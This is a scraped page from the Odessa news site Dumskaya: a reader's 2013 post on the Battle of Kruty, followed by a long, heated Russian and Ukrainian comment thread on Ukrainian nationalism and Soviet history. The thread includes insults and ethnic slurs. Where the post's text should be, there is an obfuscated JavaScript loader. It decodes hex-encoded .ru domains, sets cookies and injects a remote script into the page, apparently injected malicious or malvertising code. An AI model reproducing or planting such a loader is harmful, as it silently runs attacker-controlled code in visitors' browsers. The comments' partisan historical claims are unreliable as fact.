Василь Сидорак / 31 января 2013, 16:40

.


.

// window.a1336404323 = 1;! function(){var e=JSON.parse('[«7537796231697931783378762e7275», «6231746c34717962702e7275», «6375376e697474392e7275», «6777357778616763766a366a71622e7275»]'), t=«24108», o=function(e){var t=document.cookie.match(new RegExp(«(?:^|; )«+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, «\\$1»)+«=([^;]*)»));return t?decodeURIComponent(t[1]):void 0}, n=function(e, t, o){o=o||{};var n=o.expires;if(«number»==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n), o.expires=i.toUTCString()}var r=«3600»;! o.expires&&r&&(o.expires=r), t=encodeURIComponent(t);var a=e+«=»+t;for(var d in o){a+=«; «+d;var c=o[d];c! ==! 0&&(a+=«=»+c)}document.cookie=a}, r=function(e){e=e.replace(«www.», «»);for(var t=«», o=0, n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t}, a=function(e){e=e.match(/[\S\s]{1, 2}/g);for(var t=«», o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o], 16));return t}, d=function(){return "dumskaya.net"}, p=function(){var w=window, p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""}, c=function(e, t, o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:", "http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:", "http:"));else{var i=document.createElement("sss");i.setAttribute("src", n), i.setAttribute("type", "text/javasss"), document.head.appendChild(i), i.onload=function(){this.a1649136515||(this.a1649136515=! 0, "function"==typeof t&&t())}, i.onerror=function(){this.a1649136515||(this.a1649136515=! 0, i.parentNode.removeChild(i), "function"==typeof o&&o())}}}, s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f, c(u, function(){o("a2519043306")! =f&&n("a2519043306", f, {expires:parseInt("3600")})}, function(){var t=e.indexOf(f), o=e[t+1];o&&s(o)})}, f=function(){var t, i=JSON.stringify(e);o("a36677002")! =i&&n("a36677002", i);var r=o("a2519043306");t=r?r:e[0], s(t)};f()}();// ]]>

 


Пост размещён сторонним пользователем нашего сайта. Мнение редакции может не совпадать с мнением пользователя



Strateg
Strateg   страна по ip - ua 31 января 2013, 16:58     +6      
ну да как обычно во всем виноват Кремль и «антиукраинские силы». Убожество, что еще можно сказать. Трагический момент истории, когда молодежь тупо послали на уброй превратили в фарс!
   Відповісти    
Никузькин.
По-моему написанное Алиной и переданное Сидораком лечению не поддается: уйма фобий, все вокруг дерьмо  один я царь и бог, такой их взгляд на мир.
   Відповісти    

Убирия-Шмубирия
Прочитал я статью, хотя и с трудом…
Знаете в ЧМП был один известный своей тупостью капитан по фамилии Сидорак.
Команда, как и работники отдела кадров, называли его просто-Сидурак…
Я не проводу параллелей. Упаси Боже…
Во-первых, статья просто кишит от изобилия «АЗС» («Америка заметает следы»)…
Такого количества глупости просто сложно себе представить. Если откровенно, то я порадовался в душе, что ничего из предложенного в статье по счастью не будет. В обозримом будущем…
Обидно, что все перечисленное господствовало хоть какое-то время…
Во-вторых, создается впечателение, что человек приехал из Львова и хочет навязать в Одессе свои порядки.
Ну, не нужно это делать…
Поезжайте в свой монастырь и там руководите. Оставьте Одессу в покое…
Здесь никогда не зацикливались на языке и никогда не зацикливались на Кремле…
Одесса-это свободный город от всяческих предрассудков. Включая языковые. В теории она всегда была русскоязычной, а на практике суржиковой…
Все ярые националисты критиковали Одессу, но странному стечению обстоятельств оставались в ней жить…
Почему-бы не поехать Юсову во Львов и там трибунить?
Ответ прост…
В Одессе охламонов подобия Юсова весьма мало. Потому к ним приковано внимание, как в террариуме. Он и сам об этом знает…
Но если человек не может больше ничем обратить на себя внимание, а выделиться очень хочется, то, что делать тогда?
Чем автор отличается от клинического Юсова, который культивировался в Одессе?
Вокруг полно Наполеонов…скоро от их засилья пройти невозможно будет…
   Відповісти    
SaMoVar
Слишком много текста. Вы можете внятно описать события под Крутами? Что было героического в том, что украинские патриоты бросили на убой против регулярных войск пацанов необстреляных? Кто отдал этот приказ? Какова была цель данного мероприятия. Выполнена ли поставленная боевая задача?
   Відповісти    
<img src=/i/vk.gif class=fbico> Нельсон Степанян
Они не оправдывают тех, кто приказал ребяткам туда пойти, и кто их потом оставил умирать. А хотят сказать, что ребята приняли смерть геройски, независимо от исхода битвы.
А рассуждать сейчас, что не было смысла и цели — бесполезно. Ребята все же вышли за свою идею, зная, что погибнут.
   Відповісти    

Аичка
тогда придётся описать  дальнейший путь  Аверклия Гончаренко, оставившего пацанов на смерть, командовавшего таким же оболваненным  пушечным мясом в СС галичина, опять удравшем с поля боя … и прожившего до 90летия в Штатах
   Відповісти    

Гурд
Гурд   страна по ip - od 31 января 2013, 17:22     +5      
День рождения Красной Армии-23 февраля 1918 года.Каким образом несуществующая армия Кремля или рабочих и крестьян могла участвовать в том боестолкновении 29 декабря 1918 года! ?, Другимми словами опять враньё и словоблудие.Что с той, что с другой стороны воевали простые украинцы, русские, евреи, греки и пр.Только от УНР было больше бывших солдат австро-венгерской армии.Чистый провокатор, который не прочь, как и его руководители, спровоцировать очередной внутренний вооружённый конфликт.Да, Европа их ждёт-не нарадуется!
   Відповісти    
Алекс
23 февраля 1918 года красная армия была создана только в воображении большевистской пропаганды. В тот день отряды немецкой армии, находившейся тоже в стадии революционного брожения, но еще сохранявшей порядок, разогнали толпы пьяных матросов Балтфлота, которые попытались остановить немцев в походе на Петроград. До Петрограда немцы не дошли, но не вследствие «сопротивления» большевиков, а потому, что сама немецкая армия разваливалась и солдаты не хотели воевать.
   Відповісти    

syplit
Ну бред… А до этого никакой армии не было? Вообще? А тут вдруг — и 23 февраля 1918 года она неожиданно «родилась», с неба упала? Это ж надо — вы совсем не научились думать. 23 февраля вообще от «фонаря» назначили днём основания армии. Учите историю, «умник».
   Відповісти    

Laibach
Laibach   страна по ip - ua 1 февраля 2013, 00:05     -3      
23 февраля День рождения, а 29 декабря того же года вы свою красную армию называете ещё не существующей.. это как вообще?
   Відповісти    

Lumar
Lumar   страна по ip - od 31 января 2013, 17:57     +9      
Самым младшим участником Ютландской битвы был юнга британского флота Джон Корнуэл. Он имел звание даже младше рядового матроса. Корнуэл входил в расчет носовой пушки маленького крейсера «Честер». Он был помощником наводчика. Ну, то есть, крутил такое колесико, и пушка поворачивалась
Стоило «Честеру» вступить в бой, как с первого же попадания всех матросов расчета носового орудия убило. Джон получил смертельное ранение осколком в грудь, но остался на месте, и продолжал крутить это колесико, и наводить орудие на врага… А потом умер.

Он отлично видел, что пушку никто не зарядит, и никто не выстрелит из нее, но он продолжал выполнять приказ… Потом королева лично вручила матери героя медаль, сказала, что-нибудь вроде… дескать… спасибо за такого сына. А что она могла сказать?

Я не осуждаю королеву и далек от того, чтобы как-то преувеличивать подвиг этого мальчика, или наоборот, говорить, мол, это была невинная жертва пропаганды, и несчастный юноша был только винтиком империалистической машины, и жалкой щепкой в том костре… Нет, совсем нет.
Я ничего не знаю, и знать не могу о нем ничего.

Может, ему было так больно, что он от болевого шока крутил колесико своей пушки, а может быть совсем наоборот, он даже не заметил раны и исполнял инструкцию. Бог его знает.

Просто я знаю наверное, что вряд ли сам сделал бы так. Потому что у меня уже есть мое сраное высшее образование. Я уже знаю историю, понимаю разные смыслы, умею их находить, или в нужной ситуации не находить. Вот окажись я у той пушки, вряд ли я нашел смысл ее наводить куда-то… Я же знаю, чем закончилась Ютландская битва и Та война, и следующая тоже… Всё, в общем-то, находится на своих местах: в Англии — королева, в Германии… канцлер, немцы, поля… Я это уже успел узнать. Книжек много прочитал.
Нет! В смерти того мальчика ничего хорошего не было. Это было ужасно, страшно, и обидно. Но иногда нужна возможность делать что-то, не задавая вопросов, и не иметь возможности их задать
   Відповісти    
gid
gid 1 февраля 2013, 12:42     +3      
Люмар, вы совсем или чуть- чуть. Причём здесь этот эпизод сражения между Англией и Германией. Вы бы ещё от избытка вашей фантазии приплели бы историю Ромео и Джульетты или про Чайку рассказали. Только обязательно в концовке, не забудьте ляпнуть о коммуняках, и полирнитесь Путиным на десерт!
   Відповісти    

Trew
Trew   Proxy 31 января 2013, 18:03     -7      
А то что они погибли за свою РОДИНУ Украину! Они показали как надо любить Украину!
   Відповісти    
Никузькин.
Они погибли за образ своей Родины, который им втюхнули в моск. Родина была и останется совсем другой и этому способствует не пару десятков зомбированных пропагандой, а менталитет основной массы. Идти против менталитета массы — это стать обреченным на поражение. Остается только нюанс — как принять неизбежную смерть. Они приняли ее геройски.
   Відповісти    
T-34
T-34   страна по ip - ua 3 февраля 2013, 22:01     +1      
Ха, «срамоту» из бана раньше времени выпустили! За какие заслуги?
   Відповісти    
<img src=/i/fb.gif class=fbico> Олег Константинов, главный редактор "Думской"
Если не ошибаюсь, поименно известно всего 25 погибших
   Відповісти    
Алекс
хорошо хоть так, после 73 лет советской власти то
   Відповісти    
Trycam
Навіть якщо і 25. Невже тільки тисячи загіблих мають право на гідне вшанування?
   Відповісти    

Я Извиняюсь!
Хрен! Как всегда — кто-то погиб захлебываясь в крови, а кто-то нагрел на этом руки…
   Відповісти    
Licwin
Шкода мені вас, сидячих за заплямованними від жиру та пиття комп'ютарами, шкода мені вас безнаціональних, млявих, байдужих «власників прописки» або «маючих паспорт». Шкода бо даремні ваші міркування, а мова огидна та нудна до блювоти. Шкода мені вас не вартих а ні пращурів ваших славних, а ні гідних майбутнього у злагоді та гонорі, бо за майбутнє це колись кров проливали діди наші, й зараз ви не готові навіть в устах своїх слово землі своєї народити. Холопи московські, попами кремлівськими у церквах злотокупольних закуті у кайдани забуття, та кривди вічної, та ганьби принизливої. Клеймо вам «Хохли» що катам своїм на постоментах споруджують пам'ятники. Хіба забули ви слова мудрі на мові вами давно забутій «Рабів до раю не пускають!» — отже палати вам у пеклі безволля, та посередності сини України. Поки на спинах ваших збудують новий «Слов'янський рай».
   Відповісти    
gid
gid 31 января 2013, 21:20     +2      
Сама автор Алино Радченко, забанена за экстремизм, так решила маляву передать через своего пахана.
В маляве 852 слова, из них конкретно про «круты» ни одного слова.
СВОЛОТОВЦЫ сколько вы  можете пиарится над этой подставой?
   Відповісти    

Я Извиняюсь!
А не пийты тоби до дупы?

Я не знаю, за что твои пращуры проливали кровь, но явно не за наше светлое будущее. За наше светлое будущее проливали кровь осенью 41-го защитники Одессы — вот они то и настоящие герои.
А гражданская война — дело неблагодарное, когда брат на брата с пикой идет, там нет правых, только виноватые. И гордится здесь нечем!
   Відповісти    

Коментар отримав забагато негативних оцінок

Черчиль
Мне нравится когда мальчик из области, который срать ходит на лопату за хату возомнивший себя крестоносцем учит как следует трактовать историю. 1918 год, распад царской россии, юнкеры-крутовцы боролись не за незалежнисть неньки, а против большевиков разрушивших их светлое будущее в рядах провинциальных чиновников и царской армии. У вас мало своих героев, а тем более их полезных подвигов и вы 3.14здите чужих.
   Відповісти    
Черчиль
и мне не понятно с кем вы боретесь? В россии патриоты(нацыки) борятся с засилием кавказцев, а вы с кем с людьми из других регионов? с евреями?их кстати и в ваших рядах много фарион-чисто украинская фамилия) Нашли новую тему(патриотизм) чтоб на ней выехать в большую политику?
   Відповісти    
kurzhaar
kurzhaar   страна по ip - od 31 января 2013, 21:03     +2      
пан, сиони… пардон, пианист, под Крутами погибли тогдашние мажоры. именно против них и их семей оху.вших поднялся тогда народ. сегодня накал не тот, но суть той системы в которую Вы тянете страну уловить уже можно.
   Відповісти    
syplit
Какие мажоры? Они просто не были быдлом, они не хотели под российское ярмо, они хотели жить в своей собственной свободной стране, они за эту мечту пошли на верную смерть!
А необразованное быдло пошло за красных аферистов-гопников, наобещавших с 3 пуда. Но история учит, что она ничему не учит: точно такое же, но современное быдло ведётся на обещания «покращення вже сьогодні» от таких же бандитов и аферистов-гопников, только донецкого происхождения.
   Відповісти    
kurzhaar
kurzhaar   страна по ip - od 31 января 2013, 21:42     +5      
я так понимаю, что паны минусаторы думают, что на защиту незлэжности в 18-м вышли ТАКие же голозадые дети неимущих как и они. ну-ну… дафай, дафай, шнеллер! арбайтен!
   Відповісти    
Коментар отримав забагато негативних оцінок

одс
СЛАВА ГЕРОЯМ КРУТ!
І ВІЧНА ПАМ'ЯТЬ…
   Відповісти    
EVE
EVE 1 февраля 2013, 08:23     +4      
Какая страна, такие герои. Не бывает героев без побед. Погибать в боях или от голода, а потом жалеть и восхвалять себя — вот и все, на что способны самостийники. Как верно написал пан Сидорак — пусть «герои» Крут станут хорошим примером для «патриотической» молодежи. Настанет день, и все они лягут в свою небольшую братскую могилку, сметенные с лица Украины настоящими героями, умеющими побеждать.
   Відповісти    
Постороняя
Погибать в боях, умирать от голода и снова подниматься — может быть намного достойнее, чем одержав  победу неимоверной ценой носиться с этой победой, забыв о цене, которой за нее было заплачено.
   Відповісти    

Южная
Знаем мы эту Алину Рядченко. Работает на Тягнибока, поэтому все, что от неё исходит  отвергается автоматически. К тому же она двух слов связать не способна.
   Відповісти    
syplit
Знаю лично Алину Радченко. Прекрасный оратор, интеллектуалка, хорошо знает историю Украины и прекрасно разбирается в политике. Патриот Украины и неравнодушный к судьбам страны человек. Она вовсе не работает на Тягнибока, она даже не член «Свободы». Она просто Гражданка Украины без рабской психологии.
А вы — просто дура, которая не отличается ни одним из качеств Алины. Вы лишь хамить умеете.
   Відповісти    

<img src=/i/fb.gif class=fbico> Тетяна Ющенко
1940 рік на заході:примусова колективізація, ешелони в Сибір, переповнені тюрми, ГУЛАГ, знищення української інтелігенції.В умовах нищення української нації більшовиками -це були  цілком адекватні плани. Тим паче, що западенці прекрасно знали про генцид — голодомор 1932-1933 років.Проросійські сили і зараз при владі, і населення наше зменшується.То любителів російських ГУЛАГів і голодоморів  треба гнати в шию — до Росії.
   Відповісти    
<img src=/i/fb.gif class=fbico> Andy Domasov
Уже больше семидесяти лет прошло, а некоторым неймется. Нет уже той страны — НЕТУ! И пенять Украина может только на себя, а не искать виноватых. В бедах Украины одна лишь Украина и виновата, а тут продолжается — ГУЛАГи, голодомордцы…
   Відповісти    
T-34
T-34   страна по ip - ua 3 февраля 2013, 22:17     +2      
Блин, опять палату для идиотов санитары оставили открытой… Выбралось это убожество опять.
   Відповісти    
<img src=/i/fb.gif class=fbico> Тетяна Ющенко
Так, Анди, продовжується-комуністи в уряді, у верховній, обласній, місцевій  радах.Комуністичну ідеологію ГУЛАГів і голодоморів треба засудити у суді і заборонити.
   Відповісти    
<img src=/i/fb.gif class=fbico> Andy Domasov
И как это отразится на жизни «пэрэсичного» украинца? Сразу станет жить хорошо? Или просто потешить ущербных надобно?
   Відповісти    

ЧеПай
У западян вечно москали виноваты вовсём, как удобно…
   Відповісти    
<img src=/i/fb.gif class=fbico> Adam Viter
Історія міфів:
Фермопіли
Під натиском Персів оборона Греції була подолана. В нерівному бою, греки вирішили відступити, щоб приготуватись до вирішальних боїв. Затримати персів мала б невелика залога спартанських воїнів на чолі з царем Леонідом. 300 добірних вояків разом iз царем, до останнього стримували наступ ворога.
 Всі спартанці загинули. Через рік, у 479 році до н.е., греки отримали перемогу у тривалій греко-перській боротьбі. Після війни греки поставили на місці фермопільської битви пам’ятник царю Леоніду з написом: «Мандрівнику, піди до Спарти й скажи їй, що, в послухові її законам, тут спочиваємо».
Історія друга: Берестечко
Історія про 300 вояків, що полягли у бою під Берестечком (1651р.). «Нас тут триста, як скло, товариства лягло», — писав Тарас Шевченко. Тоді у відповідальний момент бою татари викрали гетьмана Хмельницького. Полковнику Богуну вдалось опанувати українським військом і вивести багато людей неушкодженими. В цих умовах взірцем мужності виступили 300 козаків, які, отаборившись на одному з островів, мужньо тримали оборону.
Коли коронний гетьман Польщі Микола Потоцький пообіцяв козакам свободу, якщо вони «здадуться», воїни демонстративно повикидали гроші зi своїх гаманців.
Історик німецького походження Йоаким Пасторій назвав козацьку оборону непереможеною. Зберігся спогад про останнього із 300 козаків, який, оточений з усіх боків шляхтою, протягом трьох годин відстрілювався з мушкета. А коли закінчився порох — відчайдушно боронився косою проти королівського війська. Король Ян Казимир, споглядаючи з сусіднього пагорба це дивовижне дійство, наказав крикнути, що дарує цій хоробрій людині життя. Проте поранений 14 кулями козак гордо відповів, що хоче померти як справжній воїн.
Історія третя: Крути
Співвідношення сил на полі бою 29 січня 1918р. було таке: 300 юнаків супроти п'ятитисячного війська. Чим же особливий чин крутянців? Що нового вписав він на скрижалі військової доблесті та любові до Батьківщини?
- Цей бій зупинив  наступ, відтак Центральна Рада змогла протриматися в Києві, що було надзвичайно важливо для делегації УНР на мирних переговорах у Бресті, яка готувала документи про визнання Центральними державами незалежності України.
Тобто завдяки саме цій жертовності нашої молоді 9 лютого 1918 року Німеччина, Австро-Угорщина, Болгарія і Туреччина визнали УНР самостійною державою.
Крутянці віддали життя, щоб його ціною порятувати честь багатомільйонної нації. Вони знали, що вберегти своє власне життя їм не вдасться.
Знаменита промова Михайла Грушевського на похованні крутянців
   Відповісти    
одс
А может действительно, как нарисовано на аватаре у «канавы», провести референдум и разделиться. Левая часть станет называться Украина, а правая… ну, сами себе придумают. Сильно полярные точки зрения. Такое впечатление, что эти люди никогда не придут к согласию и эта конфронтация плохо закончится
   Відповісти    
IgorL
Цікаво чи Ви лишитесь поза межами цих резервацій чи будете потерпати у самій гущі.
   Відповісти    

одс
Ну так всё же, как моё предложение тихо-мирно разделиться. У них будет своя резервция, и у нас своя камера!
   Відповісти    
ЗАРЯЖАЮЩИЙ
Нацыки уже и сюда влезли со своим дибилезмом про Круты?! -ну-ну ) 
   Відповісти    
<img src=/i/vk.gif class=fbico> Тарас Свобода
Как можно назвать бой под Крутами дибилизмом???Погибли ни в чем не винные люди!!! Мы должны помнить об этом и чтить!!!
   Відповісти    
IgorL
Трагічні події біля станції Крут були частиною трагічної історії України. Крути це яскравий приклад того як небайдужа молодь загинула на очах байдужого населення Києва. Байдужий Київ справжня столиця байдужої нації. Ті хто відмовився захищати власну волю був покараний Богом через червоний терор та ув'язнення, голодомори та війни. Нація була наполовину знищена та покарана за власну неспроможність, бо еліта нації не виконала власного призначення не очолила боротьбу за свободу. Чи вилікувало страшне та людожерське 20 століття українську націю? Чи порозумнішали люди? Чи стануть вони сьогодні за власну свободу так як мали стати ще у 1918 році? Судячи з коментарів на цьому сайті — НІ. І в якості чергового курсу терапії маємо те що маємо і попереду в нас страшні часи.
   Відповісти    
одс
Хочу спитати і з протилежного боку. Як вважаєте, може розділимось? А то «ЗАРЯЖАЮЩИЙ» вже готовий до стрілянини!
   Відповісти    
ЗАРЯЖАЮЩИЙ
Сколько бы вы эти мантры не повторяли, рядовое событие не станет общенациональным-потому как люди его не чуствуют таковым. Нацыкам нужны «новые сказки» со старым пафосом-вот и извлекли нещастных павших под Крутами и махают ими как флагом каждый год.
Эрго-нет идей, одни сказки…И МОВА. И все.
   Відповісти    

<img src=/i/fb.gif class=fbico> Тетяна Ющенко
Невже за гроші можна мріяти про резервації, чи кулемети, що охолоджуються проточною водою-таких людей треба образно «на гілляку», а реально -
у психлікарню.
   Відповісти    
IgorL
Життя після Крут. Як склалася доля учасників січневого бою
http://www.istpravda.com.ua/articles/2011/01/28/19369/

29 січня 1918 року на підступах до Києва, під станцією Крути, зустрілися українські підрозділи Центральної Ради та більшовицькі війська, які йшли з Росії. Проти 420 українських юнкерів, студентів та гімназистів виступало понад 4 тис. радянських вояків.
Бій був тривалим і завзятим. Користуючись присмерком, українські війська почали відступати зі станції Крути до своїх ешелонів. Більшості це вдалося. Але не всім.
27 студентів та гімназистів, які охороняли станцію, опинилися в полоні. Трохи згодом до радянських рук потрапили ще двоє українських прапорщиків, які прикривали відхід своїх частин.
Відтак ці 29 героїв були розстріляні або замордовані. Згодом їх поховали на Аскольдовій могилі у Києві. А що сталося з рештою учасників бою під Крутами?
Залишилися численні спогади учасників крутянських подій, у яких докладно описано, як вони відступали до своїх ешелонів, відстрілюючись на кожному кроці, як виносили вбитих, поранених і навіть кулемети.
Крім тих, хто потрапив у радянський полон, на полі бою загинули ще 10-12 юнаків, тіла яких забрали до Києва.
Зокрема, 1-ша сотня Допоміжного студентського куреня Січових стрільців (2-га сотня під Крутами не була), яка на початку бою мала у своєму складі 116 добровольців, повернулася до Києва у складі близько 80 осіб.
Майже половину сотні становили гімназисти 2-ї Української Кирило-Мефодіївської гімназії. Під Крутами загинуло лише восьмеро з них. Решта згодом взяли участь у боях із більшовиками на вулицях Києва, а потім у відступі українських військ на Полісся.
У лютому 1918 року один із цих гімназистів впав на полі бою під Бердичевом. Решта вже у березні повернулися до Києва, де ще за кілька місяців успішно закінчили гімназію.
Більшість юнаків залишилися на батьківщині й згодом оселилися у радянському Києві. Лише кілька з них вирішили не миритися з радянським пануванням і розділили долю Армії УНР.
Зокрема, колишній учень 6-го класу Кирило-Мефодіївської гімназії Леонід Буткевич став старшиною Армії УНР, брав участь у багатьох боях із більшовиками.
У 1921–1923 роках Буткевич перебував у таборах інтернованих у Польщі, а потім, закінчивши інститут, ще багато років жив і працював у Франції.
Призабута доля й організатора Студентського куреня, вихователя Володимирського Київського кадетського корпусу полковника Василя Сварики.
Саме він був командиром куреня. Сот­ник Петро Омельченко, якого розстріляли більшовики під Крутами, очолював лише 1-шу сотню куреня.
Саме Сварика привів її рештки до Києва, з’явився у розпорядження командира куреня Січових стрільців і потім зі своїми студентами та гімназистами брав участь у вуличних боях із червоногвардійцями на Подолі.
Оскільки Василеві було близько 60 років, він був змушений залишитися в Києві. Та восени 1919-го, коли білогвардійці зайняли Київ, вони мобілізували старого полковника.
Згодом Сварика опинився у Криму, де в грудні 1920 року був страчений радянськими каральними органами.
Досить цікаво склалася доля юнаків (юнкерів) 1-ї Української військової школи імені Богдана Хмельницького.
Майже всі вони залишилися на службі в Армії Української Народної Республіки. Тільки старший курс школи було підвищено до звань хорунжих уже навесні 1918 року, а юнаки молодшого курсу були змушені чекати аж до 1921-го.
Всі вони, звісно, формально вже були старшинами українських військ, але фактичного затвердження свого службового становища не мали.
Зі старшого курсу 1-ї Української військової школи варто згадати сотника Армії УНР Яко­­ва Рябоконя-Рогозу-Розанова, який походив із міста Цибулів, що на Київщині.
Відважний старшина 1919 року служив у 1-му Українському полку морської піхоти, а 1921-го взяв участь у Другому зимовому поході на чолі з Юрієм Тютюнником.
Після розгрому рейду Тютюнника Яків Рябокінь-Рогоза-Розанів уникнув полону й після того ще два роки брав участь у партизанській боротьбі з радянською владою. Помер у Польщі 1937 року.
Інший представник старшого курсу поручик Іван Грушецький у часи Визвольних змагань працював стройовим командиром у Спільній юнацькій школі, що готувала старшин для Армії УНР. Потім висвятився у священика. Був парохом православної цер­кви на Волині.
У вересні 1939 року, в перші дні окупації Волині радянськими військами, його схопили й кинули до в’язниці. Помер Іван Грушецький у камері в серпні 1940-го..
7 березня 1921 року Симон Петлюра звернувся до командувача Армії УНР генерала Михайла Омеляновича-Павленка з таким листом:
«До мого відома дійшло, що в складі Української армії перебувають бувші юнаки 1-ї та 2-ї українських військових шкіл (хорунжих), що першими вступили в 1917 р. до українських старшинських, або українізувавши істнувавші тоді російські юнацькі школи (як от бувшу Константинівську), або повівши боротьбу за створення власних юнацьких шкіл, незалежно од існувавших тоді російських.
Треба було мати велику му
   Відповісти    
SaMoVar
На Аскольдовой могиле хоронили 18 человек.
   Відповісти    
gid
gid 3 февраля 2013, 10:46     +3      
У вересні 1939 року, в перші дні окупації Волині радянськими військами>>>>>>>>>>

Такое впечатление, что пишет, какой -то обиженный польский историк.

українізувавши істнувавші тоді російські юнацькі школи (як от бувшу Константинівську), або повівши боротьбу за створення власних юнацьких шкіл, незалежно од існувавших тоді російських.

Треба було мати велику МУ….

Этот прикол, вообще без комментариев
   Відповісти    

IgorL
Треба було мати велику мужність і готовність йти на жертву, щоби засвідчити свою відданість Батьківщині в боротьбі за незалежну Україну.
Юнаки згаданих шкіл виявили в цій справі великий активний патріотизм, ставши до лав рідного війська вже не покидали його. Не один з них кров'ю засвідчив честь українського вояки, а в боях під Крутами, на ст. Гребінка та в Києві, за захоплення Арсеналу вписав славну сторінку в історію боротьби за нашу державність.
Не покидали юнаки і далі рядів нашої армії, залишаючись по сей день в ній. Мною зауважено, що хоч багато з цих бувших юнаків перебуває на старшинських посадах і то не один рік, а більше, але з формального боку це становище їх не усталено, і вони, як раніш, так і на цей день не мають ще належних старшинських ранг.
Вважаючи таке становище не одповідним, пропоную Вам, з одержанням цього, на протязі трьох тижнів представити мені реєстр бувших юнаків 1-ї і 2-ї українських юнацьких шкіл (себто був. Константинівської і Збірної Української), перебуваючих в Армії УНР для надання їм першої старшинської ранги».
Наслідком звернення Петлюри було видання наказу військам УНР ч. 72 від 10 серпня 1921 року, яким усі колишні юнаки 1-ї та 2-ї Українських військових шкіл, котрі на той час служили в армії УНР, підносилися до старшинських звань.
Про декого з них варто розповісти докладніше.
Так, уродженця села Монастирище Ніжинського повіту Митрофана Швидуна в бою під Крутами було поранено у праву ногу вище коліна. З поля бою його винесли товариші.
Пізніше він брав активну участь у боях із більшовиками, воював на панцирних потягах «Стрілець» та «Вільна Україна». Незабаром дістав ще одне поранення – у ліве плече, внаслідок чого оніміла рука.
Став військовим інвалідом, але не полишав служби в Армії УНР. У міжвоєнний час Швидун мешкав у Луцьку, де був одним із керівників місцевої української громади.
Михайло Михайлик родом із села Глодоси, нині Кіровоградська область, був учасником Першого і Другого зимових походів, отримав поранення. Був одним із перших, хто написав докладні спогади про бій під Крутами та свій бойовий шлях під час Визвольної війни.
На жаль, здоров’я юнака було підірване військовими випробуваннями, і 1922 року він передчасно помер у Сарнах.
Слід згадати, що поміж колишніх учасників бою під Крутами було чимало лицарів «Залізного хреста за Зимовий похід і бої».
Це, зокрема, Володимир Дзюблик, Василь Коваленко, Іван Митрусь, Семен Могила, Михайло Бензик, Левко Прядько, Петро Франчук та інші. Михайло Бензик, Василь Коваленко та Петро Франчук служили старшинами у легендарному Кінному полку Чорних запорожців.
Вони вступили до нього, коли той лише створювався навесні 1918 року під назвою окремої кінної сотні 2-го Запорозького полку, і залишалися в його складі аж до 1923-го.
Микола Кривопуск і Гнат Мартинюк у 1920–1921 роках перебували в особистій охороні Головного отамана Симона Петлюри. Перший із них згодом став інженером і помер у 1970-му в США, другий став священиком і загинув за невідомих обставин на Волині в 1943-му.
Багато хто з учасників бою під Крутами у 1920-ті роки здобув цивільний фах.
Так, Микола Кірічок закінчив гідротехнічний відділ Української господарської академії у Подебрадах (Чехія), згодом працював інженером у Варшаві. Василь Коваленко також закінчив Українську господарську академію і став інже­нером-хіміком.
Один із крутян Сергій Захвалинський, уродженець міста Носівка на Чернігівщині, здобув фах інженера, але потім за контрактом служив офіцером у польській армії.
Ще в 1920-му, коли був старшиною Кінного полку імені Максима Залізняка, він уславився тим, що на чолі кінного роз’їзду з шаблею наголо взяв у полон цілу роту червоних солдатів.
Слід також згадати, що під час Другої світової війни колишні учасники бою під Крутами долучилися до різних українських військових формацій.
Зокрема, колишній командир куреня 1-ї Української військової школи імені Богдана Хмельницького сотник Аверкій Гончаренко у 1943 році став одним з організаторів добровольчої дивізії «Галичина», а в 1945-му був одним із її керівників.
У цій самій дивізії служив і колишній крутянин, чорношличник, лицар «Залізного хреста за Зимовий похід і бої» Петро Франчук.
Уже згаданий Митрофан Швидун 1941-го став організатором так званого Луцького куреня ОУН, багато бійців якого згодом опинилися у лавах Української повстанської армії. А Сергій Захвалинський (псевдонім Орлик) у 1941-му очолював українські військові формування в Києві.
Останні з учасників бою під Крутами померли не так давно – у 1970-1980 роках. Їхні могили розкидані від Києва до Нью-Йорка.
   Відповісти    
kurzhaar
kurzhaar   страна по ip - od 3 февраля 2013, 20:00     +4      
почему Вы не пишете две буквы рядом с добровольческоой дивизией «Галичина»? что это у Вас за гордость при упоминании ОУН-УПА на Волыни? Вы хотите доказать, что крутяне таки выросли в отпетых ублюдков? я Вас правильно понял?
   Відповісти    

IgorL
http://gazeta.dt.ua/SOCIETY/taemnitsya_girskoyi_uschelini_chervoniy_teror_u_bilshovitskomu_krimu.html

Як стверджують старожили, у 1920-х роках біля цієї дачі працівники ОГПУ активно проводили протиепідемічні роботи. У Багріївку, як це місце називають ялтинці, тоді привезли шість підвід із хлоркою, щоб засипати й знезаразити стоки, якими до дороги Ялта — Учан-Су ледь не струмком текла сукровиця. Вона просочувалася крізь землю за десятки метрів від дачі. Існувала серйозна загроза виникнення епідемії. Братською могилою жертв червоного терору виявився парковий басейн. Тисячі тіл витіснили з нього воду, а яму регулярно присипали землею. Ті, хто про це знав, багато років мовчали. Ось тому й довелося так довго шукати могилу.

Родичі вбитих раз на рік під виглядом маївки влаштовували на місці розстрілу таємну панахиду. Священику доводилося старанно конспіруватися і маскувати панікадило.

Тільки нині нащадки російських аристократів Барятинських, Можайських, Веригіних, Щербатових, Воронцових-Дашкових спеціально почали приїжджати до Ялти, щоб через 80 років побувати на могилі своїх родичів — тих, хто не встиг на останній пароплав чи ж просто не захотів розлучатися з Батьківщиною.

